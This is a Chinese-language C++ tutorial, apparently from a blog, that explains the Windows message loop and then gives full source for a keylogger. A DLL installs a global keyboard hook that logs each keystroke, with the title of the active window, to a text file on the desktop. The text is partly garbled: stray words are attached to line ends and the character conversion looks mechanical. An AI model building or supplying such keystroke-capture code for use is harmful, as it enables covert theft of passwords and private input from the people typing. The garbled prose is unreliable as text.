一.整體概述c++
主要實現的是將windows活躍或是頂層窗口的鍵盤輸入的記錄下來儲存在txt文件中。主要用到的知識windows操做系統的消息機制,動態庫等一些知識程序員
二.具體的實現windows
首先咱們要從新創建一個windows桌面應用程序,而後咱們運行一下咱們會看到一個窗口,咱們建立桌面應用程序而不建立控制檯程序是由於桌面應用程序,這裏面最主要的緣由控制應用程序模擬DOS系統的那種CUI操做,不是直接用消息驅動的,而這裏咱們採用的windows應用程序是依靠消息驅動的(這裏咱們要注意的是DOS和windows的區別,DOS下的任何程序都是使用順序的、過程驅動的程序設計方法。這種程序都有一個明顯的開始、明顯的過程以及一個明顯的結束,所以經過程序就能直接控制程序事件或過程的所有順序。即便是在處理異常時,處理過程也仍然是順序的、過程驅動的結構。而Windows的驅動方式則是事件驅動的,即程序的流程不是由事件的順序來控制,而是由事件的發生來控制,全部的事件是無序的,所爲一個程序員,在編寫程序時,並不知道用戶會先按下哪一個按紐,也就不知道程序先觸發哪一個消息。所以咱們的主要任務就是對正在開發的應用程序要發出的或要接收的消息進行排序和管理。事件驅動程序設計是密切圍繞消息的產生與處理而展開的,一條消息是關於發生的事件的消息。 )函數
應用程序結構的簡要講解:spa
vs建立的文件中首先由三種函數構成註冊窗口(包含窗口的一些基本的信息),初始化窗口(窗口的初始化函數),消息處理的窗口(回調函數,dispatchmsg()後就會調用這個回調函數,讓應用程序處理各類的消息,窗口的各類的消息都是在這裏定義的),而後咱們能夠經過主循環的消息循環機制不斷的Getmsg()來阻塞的等待操做系統分發到該應用消息隊列的消息,經過translate來翻譯消息而後,dipach分發掉,這就是該應用程序的運行機制。操作系統
// 主消息循環: while (GetMessage(&msg, nullptr, 0, 0)) { if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) { TranslateMessage(&msg); DispatchMessage(&msg); } }
知道上面的原理後咱們能夠在相應的消息下安裝鉤子和刪除鉤子就能夠了(WM_CREATE安裝鉤子,WM_DESTROY卸載鉤子),接下來咱們採用動態庫的方式來編寫鉤子的核心函數,咱們新建一個空的靜態庫(由於鉤子的設置須要咱們新創建一個動態庫),而後在頭文件寫下以下:翻譯
#pragma once #include <Windows.h> #include <stdio.h> //啓動鉤子 extern "C" _declspec(dllexport) bool installHock(); //卸載鉤子 extern "C" _declspec(dllexport) bool unistallHock();
其中咱們採用extern "c" 的方式是由於c++的編譯器每每會將函數名字進行修改成了C語言和C++都能調用dll文件中API函數,咱們但願動態連接庫文件在編譯時,導出函數的名稱不要發生變化,而在通常的調用的時候咱們要採用_declspec()便可,而在調用端咱們想引用這個靜態庫,首先現將編譯好的靜態庫(.lib)放置在所要調用的cpp文件的同一個目錄下,而後寫下以下的代碼:設計
//引入動態庫 #pragma comment(lib , "hockdll") //啓動鉤子 extern "C" _declspec(dllimport) bool installHock(); //卸載鉤子 extern "C" _declspec(dllimport) bool unistallHock();
那麼咱們接下來要作的就是專心的寫咱們的鍵盤鉤子的核心函數:(第一個函數是設置鉤子的回調函數,一旦鍵盤有所操做咱們將觸發,這裏的回調函數的格式咱們能夠經過轉到定義來查看,windows的API的回調函數都會在函數名字前加上一個callback)code
HHOOK g_hook; LRESULT CALLBACK keyPrpc(int code, WPARAM wParam, LPARAM lParam) { char szWriteText[256]; char szWindowTittle[256]; char szKeyTest[256]; HWND hWnd; hWnd = ::GetActiveWindow(); if (hWnd == NULL) { hWnd = ::GetForegroundWindow(); if (hWnd == NULL) return CallNextHookEx(g_hook, code, wParam, lParam); } //獲得窗口的標題 GetWindowTextA(hWnd, szWindowTittle, 256); //獲取在在窗口輸入的按鍵的內容 if (code<0 || code == HC_NOREMOVE) return CallNextHookEx(g_hook, code, wParam, lParam); if (lParam & 0x40000000) return CallNextHookEx(g_hook, code, wParam, lParam); GetKeyNameTextA(lParam, szKeyTest, 256); sprintf(szWriteText, "%s:%s\r\n", szWindowTittle, szKeyTest); //保存到文件中 FILE* fp = fopen("C:\\Users\\1\\Desktop\\haha.txt", "a"); if (fp == NULL) return CallNextHookEx(g_hook, code, wParam, lParam); fwrite(szWriteText, 1, strlen(szWriteText), fp); fclose(fp); return CallNextHookEx(g_hook, code, wParam, lParam); } //啓動鉤子 bool installHock() { //獲取按鍵的信息 g_hook=SetWindowsHookEx(WH_KEYBOARD, keyPrpc, GetModuleHandle(L"hockdll"), NULL); if (g_hook == NULL) return false; MessageBox(NULL,L"設置鉤子成功", L"提示",NULL); return true; } //卸載鉤子 bool unistallHock() { return UnhookWindowsHookEx(g_hook); }